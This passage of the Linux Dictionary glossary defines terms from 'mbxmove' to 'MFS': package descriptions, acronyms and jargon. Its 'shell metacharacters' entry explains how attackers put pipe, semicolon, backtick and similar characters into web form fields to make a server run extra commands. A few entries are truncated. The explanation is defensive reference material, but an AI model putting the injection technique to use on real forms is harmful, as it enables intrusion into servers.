copy or move messages to a new mailbox, converting mailbox format From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mbxmove

copy or move messages to a new mailbox From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mc

Midnight Commander – A powerful file manager. – normal version Midnight Commander is a feature-rich file manager. It has mouse support in a linux console and in an xterm. It started as a Norton Commander clone but now it is far superior to it. Among other things it can do FTP, includes a hex editor, comes with an internal editor which can be invoked separately as 'mcedit' and lets you do most system administration tasks. Browsing, unpacking and installation of Debian packages is possible by just pressing enter on a *.deb file. Handling of other archive formats like rpm, zip, zoo and tar.gz is equally supported. This version comes with undelete for ext2 filesystems compiled in. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mc-common

Common files for mc and gmc These are the files the midnight commander and the midnight commander GNOME version have in common. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mc-foo

Linux Dictionary

an advanced, learning, mp3 jukebox MC Foo is an advanced, adaptive and learning mp3 jukebox server. –continuous music playing –learns what music you like and dislike –no static playlists; uses a playqueue you can view and alter –can be controlled from any hosts and even with infrared remote controllers –allows multiple user/preference profiles, according to whose listening and his or her mood Note that MC Foo is in the early stages of development, and not everything works yet. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCA

Micro Channel Architecture (IBM, PS/2) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCA

Mission Critical Applications From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCAD

Mechanical CAD (AutoCAD, CAD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mcat

dump raw disk image TQ From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCAV

Modified Constant Angular Velocity From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCB

Memory Control Block (DOS, TPA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCBF

Mean Cycle Between Failure From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCC

Manchester Code Converter From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCC

Manchester Computing Centre (Linux) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCC

Mitteldeutsches Communication Center (Leipzig) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCC Interim Linux

MCC Interim Linux was started by the Manchester Computing Centre in February of 1992, after they made Linux available on their FTP site in November of 1991. The distribution was one of the first to use a combined boot/root disk. Several distributions were based off of MCC Interim Linux, including TAMU, MJ, and SLS (which later morphed into Slackware Linux, a distribution that's still alive today). Distribution development is not all that active. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mcd

change MSDOS directory TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCD

Mini Client Driver (MS, Windows NT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCD

Multimedia Cartridge Drive (Nomai) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

M

MCEB

Military Communications–Electronics Board (org., mil., USA) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCF

Meta Content Framework / Format (Apple, WWW) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCGA

Multi Color Graphics Adapter (IBM, PS/2) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCH

Memory Controller Hub [aka Northbridge] (Intel) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCI

Measurement Layer Interface (UMA) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCI

Media Control Interface From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCI

Microwave Communications Incorporated From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCL

Media Communication Lab (org., Uni Boston, USA) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

mcl

the Markov Cluster algorithm The MCL package is an implementation of the Markov Cluster algorithm, and offers utilities for manipulating sparse matrices (the essential data structure in the MCL algorithm) and conducting cluster experiments. For additional information on the MCL algorithm, see the pointers found at <<http://members.ams.chello.nl/svandong/>>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCM

MultiChip Module (CPU) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCN

Metropolitan Campus Network From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCNE

Master Certified Netware Engineer (Novell, Netware) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCNS

??? [cable modem standard] (org.) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

mconfig

Kernel configuration tool mconfig is a tool to configure a Linux kernel. Unlike the scripts that come with kernel source it has a grammar written in yacc and that is compiled once not for each new kernel release. It supports several interfaces modes for different uses. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

mcookie

generate magic cookies for xauth From whatis
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

mcopy

copy MSDOS files to/from Unix TQ From whatis
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MCP

Master Control Program (OS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCP

Merlin Convenience Pack (IDB, OS/2) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCP

Multiport / Multiprotocol Communication Processor From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCPAS

Master Control Program/Advanced System, "MCP/AS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCPC

Multi Channel Per Carrier From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MCPS

Microsoft Certified Product Specialist (MS, ATEC) From VERA

MD2

Message Digest [algorithm] 2 (RFC 1115/1319) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MD4

Message Digest [algorithm] 4 (RFC 1320) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MD4 (Message Digest #4)

An older hash algorithms that used to be popular. It is important today only for historical significance because it has been discovered to be "broken". From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MD5

Message Digest [algorithm] 5 (RFC 1321) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MD5 (Message Digest #5, 1.2.840.113549.2.5, RFC 1321)

MD5 is one of the most popular hash algorithms. It processes an input file or message into a "unique" 128-bit fingerprint. This fingerprint is believed to be "unique"; while it is theoretically possible that two inputs could hash to the same fingerprint, it is nearly statistically impossible. Contrast: Compared to other hash algorithms, MD5 is extremely popular. It is the most popular hashing algorithm, used in

SSL, PGP, HTTP authentication, Tripwire, and many other places. MD5 is one of the faster hash algorithms. However, a theoretical weakness has been found such that an attacker may be able to create two separate messages that hash to the same value. Therefore, most use of MD5 is simply for backwards compatibility. History: MD5 was written by Ron Rivest as an enhanced version of the earlier MD4. MD4 is part of many standards, but is considered completely broken by today's standards (and MD5 itself is now considered to have some weaknesses). See also: integrity From Hacking–Lexicon <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

md5sum

generates or checks MD5 message digests From whatis
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

md5sum.textutils

compute and check MD5 message digest From whatis

MDI

Multiplex Device Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mdidentd

ident daemon that permits fake identd Mdidentd is a special ident daemon that permits processes to set their own fake ident replies regardless of the userid they are running under. For normal ident to work, a normal ident daemon must be installed as well. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mdir

display an MSDOS directory TQ From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MDIS

MetaData Interchange Specification From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mdk

MIX Development Kit MDK stands for MIX Development Kit, and provides tools for developing and executing, in a MIX virtual machine, MIXAL programs. The MIX is Donald Knuth's mythical computer, described in the first volume of The Art of Computer Programming, which is programmed using MIXAL, the MIX assembly language. MDK includes a MIXAL assembler (mixasm) and a MIX virtual machine (mixvm) with a command line interface. In addition, a GTK+ GUI to mixvm, called gmixvm, and a Guile interpreter with an embedded MIX virtual machine called mixguile, are provided. Using these interfaces, you can debug your MIXAL programs at source code level, and read/modify the contents of all the components of the MIX computer (including block devices, which are simulated using the file system). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MDK

MODEM Developers Kit (MODEM, MS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mdk-menu-messages

This package includes that translations of the main menu used by the different desktops and window managers of the distribution; as well as translations used by specifically added features. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mdkkdm

Mdk kdm. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mdklaunchhelp

This package allows to launch khelpcenter or change khelpcenter page. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mdkonline

The Mandrake Online tool is designed for registered users who want to upload their configuration (packages, hardware infos). This allows them to be kept informed about security updates, hardware support/enhancements and other high value services. Since 9.1 MandrakeClub and MandrakeOnline have been merged. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MDL

Microstation Development Language (CAD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MDRAM

Multibank Dynamic Random Access Memory (RAM, DRAM, IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MDRC

meat-grinder

a graphical front end for tar From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

med-bio

Debian Med bioinformatics packages This meta package will install bioinformatics related Debian packages for use in medical research. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

med-dent

Debian Med packages for dental practice This meta package will install Debian packages which build a system for managing a dental practice. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

medusa

The GNOME search/indexing package Medusa is software that allows you to quickly search your system for particular types of files, using an index. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MEG

Mega Evil Grin (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MEGA

MessdatenErfassung und Graphische Auswertung From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Megabyte

A million bytes. Actually, technically, 1024 kilobytes. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

megahal

a conversation simulator that can learn as you talk to it Conversation simulators are computer programs which give the appearance of conversing with a user in natural language. Such programs are effective because they exploit the fact that human beings tend to read much more meaning into what is said than is actually there; we are fooled into reading structure into chaos, and we interpret non-sequitur as valid conversation. MegaHAL differs from conversation simulators such as Eliza in that it uses a Markov Model to learn how to hold a conversation. It is possible to teach MegaHAL to talk about new topics, and in different languages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MEI

Matsushita Electronics Incorporated (manufacturer, Japan) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MEL

Maya Embedded Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

melon

Mail notifier with configurable icons, xbiff replacement Melon is a simple utility that notifies user for newly received emails, through a couple of configurable icons. In short it is an xbiff replacement. It supports multiple mailboxes, acoustic warnings, execution of external programs on request. Since Melon's check is based on the change time of a file, it is able to monitor every kind of files, not just mailboxes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Melon

Website in Japanese. Handhelds/PDA based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

members

Shows the members of a group; by default, all members. members is the complement of groups: whereas groups shows the groups a specified user belongs to, members shows users belonging to a specified group. Given the name of a group, members will send a space-separated list of member names to stdout. Full option parsing has been added as of this version. You can ask for primary members, secondary members, both on one line, each on separate lines. If no option is selected, prints all members on one line by default. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

memoization

A extension library that adds memoization support to CMU-CL. The library adds support not only to memoize functions, but also to have persistent memoization information recording to CMU-CL. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

memopanel

Memo on the GNOME panel MemoPanel applet allows you to put a memo on the GNOME panel. Basic features are follows: stay on panel (GNOME applet) , i18n support, multi line display, strftime support in memo, color and font changeable, alert schedule URL caller, Ext launcher, IMAP/POP3 mail check, Screenshot From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

memprof

memory profiler and leak detector Memprof is a tool for profiling memory usage and detecting memory leaks. It can be used with existing binaries without need for recompilation. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MEMS

Micro-ElectroMechanical System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

memstat

Identify what's using up virtual memory. Lists all the processes, executables, and shared libraries that are using up virtual memory. It's helpful to see how the shared memory is used and which 'old' libs are loaded. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

memtest86

A thorough real-mode memory tester. Memtest86 scans your RAM for errors. This tester runs independently of any OS – it is run at computer boot-up, so that it can test *all* of you memory. You may want to look at `memtest' (in package `sysutils'), which allows to test your memory within Linux, but this one won't be able to test your whole RAM. This used to be part of the hwtools package, which still contains another real-mode memory tester optimized for mmx machines (but less actively maintained). It can output a list of bad RAM regions usable by the BadRAM kernel patch, so that you can still use you old RAM with one or 2 bad bits. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mencal

A menstruation calendar Mencal is a menstruation calendar written in Perl. It looks like linux program cal. The difference is, that in mencal some days are colored red. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mentor

A collection of algorithm animations Mentor encapsulates the Zeus animation library for Modula-3 into a single application. Zeus itself is not very well documented, but a summary of the animations which are part of the mentor application is available at: <http://www.research.digital.com/SRC/zeus/home.html> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

menu

Functions and actions of a program can be reached via a menu. Menus usually offer submenus that drop down from it. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

menu

provides update-menus functions for some applications The intent of this package is to streamline the menu's (like the fvwm2 ones) in debian. For this purpose, menu provides an "update-menus" command, that will read all installed menu files (as provided by other packages in /usr/lib/menu), and run the frontends for various window-managers in /etc/menu-methods to create startup files for the window managers (or pdmenu). The user and system admin can easily override the menu files on a by-user or by-system bases. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

menu

The intent of this package is to streamline the menu's. For this purpose, menu provides an "update-menus" command, that will read all installed menufiles (as provided by other packages in /usr/lib/menu), and run the frontends for various window managers in /etc/menu-methods to create startup files for the window managers (or pdmenu). The user and system admin can easily override the menu files on a by-user or by-system bases. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

menudrake

Menudrake is a menu editor for the Mandrake Linux distribution. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mercury

New logic/functional programming language Mercury is a new logic/functional programming language, which combines the clarity and expressiveness of declarative programming with advanced static analysis and error detection features. Its highly optimized execution algorithm delivers efficiency far in excess of existing logic programming systems, and close to conventional programming systems. Mercury addresses the problems of large-scale program development, allowing modularity, separate compilation, and numerous optimization/time trade-offs. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

merge

three-way file merge From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mergelib

merge one library into another From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mergelog

A tool for merging http logfiles A small and fast C program which merges and sorts http log files in 'Common Log Format' from web servers behind round-robin DNS. It has been designed to easily manage huge log files from highly stressed servers. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

merlin-clock

Gnome Clock Applet This GNOME applet displays the time and date in a compact manner. See <http://nitric.com/freeware/> for a screenshot of Merlin's Clock Applet. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

merlin-cpufire

GNOME panel applet that displays the CPU load as a fire. See a screenshot of Merlin's Applet on <http://nitric.com/freeware/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mesa

A free implementation of the OpenGL API, designed and written by Brian Paul, with contributions from many others. Its performance is competitive, and while it is not officially certified, it is an almost fully compliant OpenGL implementation conforming to the ARB specifications. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mesa

An implementation of the OpenGL (Open Graphics Library) API (Application Programming Interface). It provides standard guidelines and a toolset for writing 2D and 3D hardware-assisted graphics software. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mesa

Mesa is a free implementation of the OpenGL API, designed and written by Brian Paul, with contributions from many others. Its performance is competitive, and while it is not officially certified, it is an almost fully compliant OpenGL implementation conforming to the ARB specifications – more complete than some commercial products out, actually. From 3DFX HOWTO
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MESA

MetaEmailSearchAgent (WWW, Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mesademos

Example programs for Mesa (and OpenGL in general) Mesa demonstration programs, SGI sample code, and source code examples from the `_OpenGL Programming Guide_` ("the Red Book"), the `_OpenGL Reference Manual_` ("the Blue Book") and `_Programming OpenGL for the X Window System_` ("the Green Book") Although some of the demos generate "pretty pictures", they are much more valuable in source code form. They were written in the first place for the OpenGL programmer to study and learn from. In order to compile the demos you'll need a package providing `libgl-dev`, as well as `libglut-dev`. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mesag3

A 3-D graphics library which uses the OpenGL API [libc6]. Mesa is a 3-D graphics library with an API which is very similar to that of OpenGL*. To the extent that Mesa utilizes the OpenGL command syntax or state machine, it is being used with authorization from Silicon Graphics, Inc. However, the author makes no claim that Mesa is in any way a compatible replacement for OpenGL or associated with Silicon Graphics, Inc. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mesag3+ggi

A 3-D graphics library which uses the OpenGL API [libc6]. Mesa is an OpenGL-compliant API that takes advantage of acceleration features of many cards, transparently in a number of environments. This package contains support for GGI targets; do not install this unless you are running KGI or plan to develop berlin or other apps based on GGI. X support is still included. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mesag3-glide2

A 3-D graphics library which uses the OpenGL API [libc6]. Mesa is a 3-D graphics library with an API which is very similar to that of OpenGL*. To the extent that Mesa utilizes the OpenGL command syntax or state machine, it is being used with authorization from Silicon Graphics, Inc. However, the author makes no claim that Mesa is in any way a compatible replacement for OpenGL or associated with Silicon Graphics, Inc. This version of mesa is only for use with 3DFX based graphics cards. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MESCH

Multi-WAIS Engine for Searching Commercial Hosts (WAIS, WWW) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

meschach

library for performing operations on matrices and vectors Meschach is a library of routines written in C for matrix computations. These include operations for basic numerical linear algebra; routines for matrix factorisations; solving systems of equations; solving least squares problems; computing eigenvalues, eigenvectors and singular values; sparse matrix computations including both direct and iterative methods. This package makes use of the features of the C programming language: data structures, dynamic memory allocation and deallocation, pointers, functions as parameters and objects. Meschach has a number of self-contained data structures for matrices, vectors and other mathematical objects. Web site: <ftp://ftpmaths.anu.edu.au/pub/meschach/meschach.html> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

meta

/me't*/ or /may't*/ or (Commonwealth) /mee't*/ adj.,pref. [from analytic philosophy] One level of description up. A metasyntactic variable is a variable in notation used to describe syntax, and meta-language is language used to describe language. This is difficult to explain briefly, but much hacker humor turns on deliberate confusion between meta-levels. See hacker humor. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

meta bit

n. The top bit of an 8-bit character, which is on in character values 128-255. Also called high bit, alt bit, or (rarely) hobbit. Some terminals and consoles (see space-cadet keyboard) have a META shift

key. Others (including, *mirabile dictu*, keyboards on IBM PC-class machines) have an ALT key. See also *bucky bits*. Historical note: although in modern usage shaped by a universe of 8-bit bytes the meta bit is invariably hex 80 (octal 0200), things were different on earlier machines with 36-bit words and 9-bit bytes. The MIT and Stanford keyboards (see *space-cadet keyboard*) generated hex 100 (octal 400) from their meta keys. From *Jargon Dictionary*

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

metacam

extract EXIF information from digital camera files EXIF stands for Exchangeable Image File Format, and is a standard for storing interchange information in image files, especially those using JPEG compression. Most digital cameras now use the EXIF format. The format is part of the DCF standard created by JEIDA to encourage interoperability between imaging devices. In addition to the standard EXIF fields, MetaCam also supports vendor-specific extensions from Nikon, Olympus, Canon and Casio. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

metacharacter

A character that is used to carry a special meaning, such as a caret (^, beginning of line), a dollar sign (\$, end of line), or an asterisk (*, match any character). To use one of these characters without special meaning, you must either precede it with a backslash (\) or enclose it within quotation marks.

Bypassing the special meaning of a metacharacter is called *escaping* or *quoting* the character. From *Linux Guide @FirstLinux* <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

metacharacter (shell metacharacters)

A metacharacter is one that represents some other concept rather than itself. For example, in entering in filenames, the metacharacter '*' doesn't represent an astrisk, but instead tells the system to match on any character. For example, looking for the filename "*.txt" will look for all files ending in the real characters ".txt". On UNIX, the most important characters are "shell" metacharacters. The reason they are important is because the shell is often used by one program to spawn another. This means that input provided to the parent program will be passed to the shell, then to the child program. If a hacker can craft special input using metacharacters, the hacker may be able to cause that shell to do something unexpected. E-mail address: A classic example is a webpage containing a FORM that asks for a user's e-mail address. The software (such as a CGI script) will often just invoke the 'mail' program using the shell. By inserting shell metacharacters into the field for the email address, a hacker may be able to execute some other program on the web server. Example: Some UNIX shell metacharacters are: [] () {} ~ # \$ ^ & * \ | ; < > ? ` ' | (pipe) The pipe metacharacter links two command-line programs together, causing the output from the first program to become the input into the second program. Hackers don't care about redirecting input/output, but they will use the pipe simply as a way of confusing the shell into executing a second program. When a hacker attempts to break into a webserver, one of the first things they will do is to look for all the forms on the website and provide input containing pipe characters to see if they can force the system to execute commands. ; (semicolon) Similar to the pipe metacharacter in its ability to run multiple programs at once. However, the semicolon simply launches the programs without redirecting input/output. `

(back-quote, back-tick) The backwards quote metacharacter is similar to the pipe in that it can take the output from one command and pass it another. In this case, the output of the second program is provided as command-line input into the first. \$ (dollar sign) The dollar sign prefixes a variable name. Thus, the string \$FOO represents the value of the variable named "FOO" rather than the letters 'F', 'O', 'O'. In particular, you'll commonly see \$IFS in attacks, where the IFS variable indicates the character used to separate lines in the shell. && and || These are logical operations used in shell programming. They look at the "result" of a program and "conditionally" execute other programs. A hacker doesn't care about this intended use, but can instead use these as yet another way to execute additional commands. See also: *taint*, *CGI* From *Hacking-Lexicon*

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

metacity

A lightweight GTK2 based Window Manager. Metacity is a small (<6K lines of code) window manager, using gtk2 to do everything. As HP says, metacity is a "Boring window manager for the adult in you. Many window managers are like Marshmallow Froot Loops; Metacity is like Cheerios." From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Metafont

a graphics programming language (like postscript) that has applications wider than just fonts. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

METAL

Machine Evaluation and Translation Language (Siemens) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

metamail

An implementation of MIME. Metamail is an implementation of MIME (Multi-purpose Internet Mail Extensions), a proposed standard for multimedia electronic mail on the Internet. Metamail is configurable and extensible via the "mailcap" mechanism described in an informational RFC that is a companion to the MIME document. Metamail can be used to turn virtually any mail reader program into a multimedia mail reader. For information about how to change mail readers so that they can use Metamail, please read the file ``/usr/share/doc/metamail/mailers.txt.gz'`. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

metamail

Metamail is a system for handling multimedia mail, using the mailcapfile. Metamail reads the mailcap file, which tells Metamail what helper program to call in order to handle a particular type of non-text mail. Note that metamail can also add multimedia support to certain non-mail programs. Metamail should be installed if you need to add multimedia support to mail programs and some other programs, using the mailcap file. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Metcalf's Law

A philosophical point of view: "The power of the network increases exponentially by the number of computers connected to it. Therefore, the every computer added to the network both uses it as a resource while adding resources in a spiral of increasing value and choice." -- Dr. Bob M. Metcalfe, inventor of Ethernet, co-founder of 3Com, editor-in-chief of InfoWorld. The idea is that the power of the Internet is not simply all the websites that you can access (linear), but the power represented by everyone else also on the Internet (exponential). For example, organizations like <http://www.distributed.net/> cannot only harness lots of machines in order to tackle large problems (linear), but they also can exploit the word-of-mouth on the Internet to sign up (exponential). Similarly, consider the growth in sites like <http://www.slashdot.org/> that start out as hobbyist sites, but eventually blossom into large money making ventures, tossing pre-Internet-age business philosophies on their ear. Key point: Hacker attacks grow exponentially because more and more hackers are getting online (especially from 3rd world countries) and more and more resources (businesses) are getting online. Key point: The amount of computing resources a hacker can tap into from his/her computer desktop is more than the combined might of all governments and militaries. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

METDST

Middle European Time Daylight Saving Time [+0200] (TZ, MET, MEZ) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mew

Messaging in the Emacs World Mew is an interface to integrate - Email - MIME (Multipurpose Internet Mail Extensions) - PGP (Pretty Good Privacy) and to make it easy to view and compose them. Thread, POP biff, POP folder, and icon-based interface are supported. More information is available at <http://www.Mew.org/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mew-bin

Linux Dictionary

The external commands for Mew Mew has thrown away IM and is being implemented purely by Elisp with these external commands: – The mewencode utility encode/decode MIME objects. – The mewls utility extracts necessary fields from messages stored in folders. – The incm utility incorporates new mails from the mbox or the maildir to Mew's inbox folder. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MEZ

MittelEuropaeische [sommer] Zeit [+0200] (TZ) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mf

Metafont, a language for font and logo design From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MF

Multi Frequency From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFAST

Mwave Folded Array Signal Transform [DSP] (IBM, DSP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFC

Microsoft Foundation Classes From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Music Feature Card (IBM, Yamaha, MIDI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFENET

Magnetic Fusion Energy NETwork From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFG

Mit Freundlichen Gruessen [= best wishes] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFG

Multi-Function Gateway From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFI

MainFrame Interactive (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFII

Multi-Functional [keyboard] II (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFIP

Multi-Function Interoperability Processor From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFKS

MultiFunktionales KonferenzSystem From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFLOPS

Million FLoating-point Operations Per Second (CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFM

Modified Frequency Modulation From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mformat

add an MSDOS filesystem to a low-level formatted floppy disk TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFP

MultiFunction Product From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mfpic

Define Tex/LaTeX commands to draw using metafont/metapost MFpic defines a command group \mfpic...\endmfpic (optionally in LaTeX an environment mfpic) and drawing commands to be used inside this group. When TeX (or LaTeX) is run on a file containing those commands, a Metafont or MetaPost source file is created. When that file is correctly processed by Metafont (or MetaPost), and LaTeX or TeX is run again, the result is a figure in the TeX document in the location of the environment. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFS

Macintosh File System (Apple) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFS

Message Format Service (IBM, IMS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFS

Mobile File Sync (IBM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFS

MOSIX File System (MOSIX, DFSA) From VERA
